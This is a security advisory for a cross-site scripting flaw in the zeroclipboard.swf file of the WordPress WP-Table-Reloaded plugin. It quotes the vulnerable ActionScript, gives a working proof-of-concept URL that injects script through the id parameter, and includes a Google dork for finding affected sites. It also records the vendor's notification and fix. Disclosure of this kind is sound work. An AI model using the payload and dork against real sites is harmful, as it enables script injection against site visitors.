WordPress WP-Table-Reloaded Cross Site Scripting

[Praetorian503]

WordPress WP-Table-Reloaded plugin version 1.9.4 suffers from a cross site scripting vulnerability in zeroclipboard.swf.

# Exploit Title: Wordpress wp-table-reloadedþ plugin cross-site scripting in SWF
# Release Date: 24/01/13
# Author: hip [Insight-Labs]
# Contact: hip@insight-labs.org | Website: http://insight-labs.org
# Software Link: http://downloads.wordpress.org/plugin/wp-table-reloaded.latest-stable.zip
# Vendor Homepage: http://tobias.baethge.com/
# Tested on: XPsp3
# Infected version: 1.9.4 before
# Google Dork: inurl:/wp-content/plugins/wp-table-reloaded/
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# Introduction: 
WP-Table Reloaded enables you to create and manage tables, 
without having to write HTML code, and it adds valuable functions for your visitors. 
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# XSS - Proof Of Concept:
vulnerable path:
/wp-content/plugins/wp-table-reloaded/js/tabletools/zeroclipboard.swf
vulnerabile parameter:id

piece of code:
            flashvars = LoaderInfo(this.root.loaderInfo).parameters;
            this.domId = flashvars.id;           <-- vulnerable input

ExternalInterface.call("ZeroClipboard.dispatch", domId, "mouseOver", null); <- vulnerable call

POC:
/wp-content/plugins/wp-table-reloaded/js/tabletools/zeroclipboard.swf?id=a\%22%29%29}catch%28e%29{alert%281%29}//

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# Patch:
-- Vendor was notified on the 23/01/2013
-- Vendor released version 1.9.4 on 27/01/2013 Fixed the bug
-- Reward 50 USD from white fir design on 30/01/2013
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Source: PacketStorm